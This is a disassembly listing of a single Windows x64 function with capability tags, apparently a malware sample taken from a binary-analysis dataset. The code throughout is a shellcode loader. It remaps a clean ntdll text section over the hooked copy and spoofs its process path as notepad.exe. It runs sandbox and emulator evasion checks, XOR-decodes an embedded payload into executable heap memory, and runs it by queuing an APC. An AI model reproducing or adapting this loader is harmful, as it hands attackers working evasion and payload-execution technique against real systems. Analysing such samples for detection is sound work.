Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x808
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7b0], ecx
mov qword [rbp + 0x7b8], rdx
call fcn.140002750
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f0], rax
mov dword [rbp + 0x77c], 0x6e
jmp 0x1400014bc
sub dword [rbp + 0x77c], 1
cmp dword [rbp + 0x77c], 0
jg 0x1400014b5
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6e8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
cmp qword [rbp + 0x770], 0
jne 0x140001576
mov dword [rbp + 0x768], 0x262
mov dword [rbp + 0x76c], 0x262
jmp 0x14000153d
sub dword [rbp + 0x768], 1
sub dword [rbp + 0x76c], 1
cmp dword [rbp + 0x76c], 0x14
jg 0x14000152f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
cmp qword [rbp + 0x770], 0
je 0x140001be6
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x550]
mov rax, qword [rbp + 0x6e8]
mov r10, qword [rbp + 0x770]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov ecx, 0x4d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov dword [rbp + 0x764], 0
jmp 0x14000161e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x764]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x133
jle 0x1400015d1
mov dword [rbp + 0x764], 0
jmp 0x14000170e
cmp dword [rbp + 0x764], 0
je 0x14000167e
mov eax, dword [rbp + 0x764]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x764]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x14000168a
add dword [rbp + 0x764], 1
jmp 0x14000170e
mov eax, dword [rbp + 0x764]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x684], eax
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov edx, dword [rbp + 0x764]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x6e0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rdx, rax
mov eax, dword [rbp + 0x684]
mov dword [rdx], eax
sub dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x133
jle 0x140001639
mov rax, qword [rbp + 0x6e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x6d8], rax
mov qword [rbp + 0x758], 0
mov dword [rbp + 0x6d4], 0x275
mov dword [rbp + 0x760], 1
jmp 0x140001772
mov eax, dword [rbp + 0x760]
cdqe
add qword [rbp + 0x758], rax
add dword [rbp + 0x760], 1
mov eax, dword [rbp + 0x760]
cmp eax, dword [rbp + 0x6d4]
jle 0x14000175c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x74c], 0
mov dword [rbp + 0x6bc], 0x38e
mov dword [rbp + 0x6b8], 0x1c7
mov eax, dword [rbp + 0x6bc]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x754], 0
jmp 0x140001871
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rdx, rax
mov eax, dword [rbp + 0x754]
mov dword [rdx], eax
add dword [rbp + 0x754], 1
mov eax, dword [rbp + 0x754]
cmp eax, dword [rbp + 0x6b8]
jl 0x140001848
mov dword [rbp + 0x754], 1
jmp 0x140001903
mov eax, dword [rbp + 0x754]
mov dword [rbp + 0x750], eax
jmp 0x1400018da
mov edx, dword [rbp + 0x754]
mov eax, dword [rbp + 0x750]
add edx, eax
mov eax, dword [rbp + 0x754]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x750]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x750], 1
mov eax, dword [rbp + 0x6b8]
sub eax, dword [rbp + 0x754]
mov edx, dword [rbp + 0x754]
add edx, edx
lea ebx, [rdx + 1]
cdq
idiv ebx
cmp dword [rbp + 0x750], eax
jle 0x140001899
add dword [rbp + 0x754], 1
mov eax, dword [rbp + 0x754]
cmp eax, dword [rbp + 0x6b8]
jl 0x14000188b
cmp dword [rbp + 0x6bc], 2
jle 0x140001947
mov eax, dword [rbp + 0x74c]
lea edx, [rax + 1]
mov dword [rbp + 0x74c], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x754], 1
jmp 0x1400019ab
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400019a4
mov eax, dword [rbp + 0x754]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x74c]
lea edx, [rax + 1]
mov dword [rbp + 0x74c], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x754], 1
mov eax, dword [rbp + 0x754]
cmp eax, dword [rbp + 0x6b8]
jl 0x140001953
mov dword [rbp + 0x6ac], 2
mov dword [rbp + 0x748], 0
mov dword [rbp + 0x754], 0
jmp 0x140001a07
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001a00
add dword [rbp + 0x748], 1
add dword [rbp + 0x754], 1
mov eax, dword [rbp + 0x754]
cmp eax, dword [rbp + 0x6ac]
jl 0x1400019d9
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov qword [rbp + 0x690], rax
mov word [rbp + 0x746], 0
jmp 0x140001bce
mov rax, qword [rbp + 0x690]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x690]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x746]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001bbd
mov dword [rbp + 0x518], 0
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x518]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x518]
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x518]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x746]
add eax, 1
mov word [rbp + 0x746], ax
mov rax, qword [rbp + 0x690]
movzx eax, word [rax + 6]
cmp word [rbp + 0x746], ax
jb 0x140001a92
mov dword [rbp + 0x740], 0x104
jmp 0x140001bf9
sub dword [rbp + 0x740], 1
cmp dword [rbp + 0x740], 0x18
jg 0x140001bf2
mov dword [rbp + 0x73c], 0
jmp 0x140001c4f
call sub.msvcrt.dll_rand
imul eax, eax, 0x124
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065a8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003740
movq rax, xmm0
mov qword [rbp + 0x568], rax
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x37f
jle 0x140001c0e
movsd xmm0, qword [0x1400065b0]
movsd qword [rbp + 0x730], xmm0
movsd xmm0, qword [0x1400065b8]
movsd qword [rbp + 0x678], xmm0
jmp 0x140001ca6
movsd xmm0, qword [rbp + 0x678]
mov rax, qword [rbp + 0x730]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003910
movq rax, xmm0
mov qword [rbp + 0x730], rax
movsd xmm0, qword [0x1400065c0]
comisd xmm0, xmmword [rbp + 0x730]
ja 0x140001c7d
mov dword [rbp + 0x51c], 0
mov rax, qword [rbp + 0x6f8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x520]
lea rax, [rbp + 0x51c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x670]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x528]
add rax, 0x3c
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x668]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x72c], 0xffffffff
mov ecx, 0x5e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
add dword [rbp + 0x72c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065a8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x72c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x660]
add rax, rdx
movsd xmm1, qword [0x1400065c8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x72c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x660]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x72c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x660]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x72c], 0xbb
jle 0x140001d6a
mov qword [rbp + 0x658], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x650]
mov r9d, 0x3000
mov r8d, 0x283
mov edx, 0
call rax
mov qword [rbp + 0x658], rax
cmp qword [rbp + 0x658], 0
je 0x14000268e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x648], rax
cmp qword [rbp + 0x648], 0
je 0x140001ef2
mov rax, qword [rbp + 0x648]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov ecx, 0
call rax
mov dword [rbp + 0x728], eax
cmp dword [rbp + 0x728], 0xffffffff
je 0x14000268e
mov qword [rbp + 0x720], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x638], rax
cmp qword [rbp + 0x638], 0
je 0x140001f8c
mov rax, qword [rbp + 0x638]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x630]
mov r9d, 0x3000
mov r8d, 0x459
mov edx, 0
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x14000268e
mov qword [rbp + 0x628], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x620]
mov r9d, 0x3000
mov r8d, 0x2c0
mov edx, 0
call rax
mov qword [rbp + 0x628], rax
cmp qword [rbp + 0x628], 0
je 0x14000268e
mov qword [rbp + 0x718], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x618], rax
cmp qword [rbp + 0x618], 0
je 0x1400020ad
mov rax, qword [rbp + 0x618]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x610]
mov r9d, 0x3000
mov r8d, 0x3d1
mov edx, 0
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
je 0x14000268e
lea rax, str.axvkenuqhkae.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x608], rax
cmp qword [rbp + 0x608], 0
jne 0x14000268e
mov dword [rbp + 0x604], 0x39e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x5f8]
call rax
mov dword [rbp + 0x5f4], eax
mov eax, dword [rbp + 0x604]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x5f8]
call rax
mov dword [rbp + 0x5f0], eax
mov eax, dword [rbp + 0x5f0]
sub eax, dword [rbp + 0x5f4]
cmp eax, 0x36c
jbe 0x14000268e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x5e8]
call rax
mov dword [rbp + 0x5e4], eax
mov ecx, 0x395
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x5e8]
call rax
mov dword [rbp + 0x5e0], eax
mov eax, dword [rbp + 0x5e0]
sub eax, dword [rbp + 0x5e4]
cmp eax, 0x363
jbe 0x14000268e
mov dword [rbp + 0x5dc], 0x276
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x5d0]
call rax
mov dword [rbp + 0x5cc], eax
mov eax, dword [rbp + 0x5dc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x5d0]
call rax
mov dword [rbp + 0x5c8], eax
mov eax, dword [rbp + 0x5c8]
sub eax, dword [rbp + 0x5cc]
cmp eax, 0x244
jbe 0x14000268e
mov qword [rbp + 0x5c0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x5b8]
mov r9d, 0x3000
mov r8d, 0x3e7
mov edx, 0
call rax
mov qword [rbp + 0x5c0], rax
cmp qword [rbp + 0x5c0], 0
je 0x14000268e
lea rax, [rbp + 0xa0]
lea rdx, [0x140006130]
mov ecx, 0x8e
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x6f0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b0], rax
mov rax, qword [rbp + 0x6f0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x5b0]
mov r8d, 0
mov edx, 0x471
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5a0], rax
mov rax, qword [rbp + 0x5a0]
mov r9, qword [rbp + 0x5a8]
mov r8d, 0x471
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x598], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x590], rax
lea rdx, [rbp + 0xa0]
mov rax, qword [rbp + 0x598]
mov r9, qword [rbp + 0x590]
mov r8d, 0x471
mov rcx, rax
call r9
mov dword [rbp + 0x714], 0
mov dword [rbp + 0x710], 0
mov dword [rbp + 0x70c], 0
movabs rax, 0x239e797335b123bd
movabs rdx, 0xea29c36bb1f7540d
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x3d01ec21c3477894
movabs rdx, 0xe26c663476ac3782
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x56721a894ba9d6ad
movabs rdx, 0xf283b5a47794e86f
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov word [rbp - 0x10], 0x5d
movabs rax, 0x9a8b3f2218952593
movabs rdx, 0x54e1c49aff944bf1
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x41d1b63c9fc5ad45
movabs rdx, 0xe6886eda02d5c5b4
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x3a2ecd38e6706c7
movabs rdx, 0x2befc7f400a594ee
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x5a745c12c446ae2b
movabs rdx, 0xb1f388c49f01843
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xd8e3de96220b1f38
movabs rdx, 0x54d648be899e9f
mov qword [rbp + 0x8d], rax
mov qword [rbp + 0x95], rdx
jmp 0x140002535
mov eax, dword [rbp + 0x714]
cdqe
movzx edx, byte [rbp + rax + 0x50]
mov eax, dword [rbp + 0x710]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x714]
cdqe
mov byte [rbp + rax], dl
cmp dword [rbp + 0x710], 0x30
jne 0x140002527
mov dword [rbp + 0x710], 0
jmp 0x14000252e
add dword [rbp + 0x710], 1
add dword [rbp + 0x714], 1
mov eax, dword [rbp + 0x714]
cmp eax, 0x4b
jbe 0x1400024ea
mov dword [rbp + 0x714], 0
jmp 0x1400025f5
mov eax, dword [rbp + 0x714]
movsxd rdx, eax
mov rax, qword [rbp + 0x598]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x70c]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x714]
movsxd rdx, eax
mov rax, qword [rbp + 0x598]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x70c], 0x4b
jne 0x1400025e7
mov dword [rbp + 0x70c], 0
mov qword [rbp + 0x700], 0
mov dword [rbp + 0x574], 0x253
mov dword [rbp + 0x708], 1
jmp 0x1400025d7
mov eax, dword [rbp + 0x708]
cdqe
add qword [rbp + 0x700], rax
add dword [rbp + 0x708], 1
mov eax, dword [rbp + 0x708]
cmp eax, dword [rbp + 0x574]
jle 0x1400025c1
jmp 0x1400025ee
add dword [rbp + 0x70c], 1
add dword [rbp + 0x714], 1
cmp dword [rbp + 0x714], 0x470
jle 0x14000254f
mov rax, qword [rbp + 0x598]
mov qword [rbp + 0x588], rax
mov rax, qword [rbp + 0x6f0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x580], rax
mov rax, qword [rbp + 0x6f0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x578], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x588]
mov r9, qword [rbp + 0x580]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x578]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x808
pop rbx
pop rsi
pop rdi
pop rbp
ret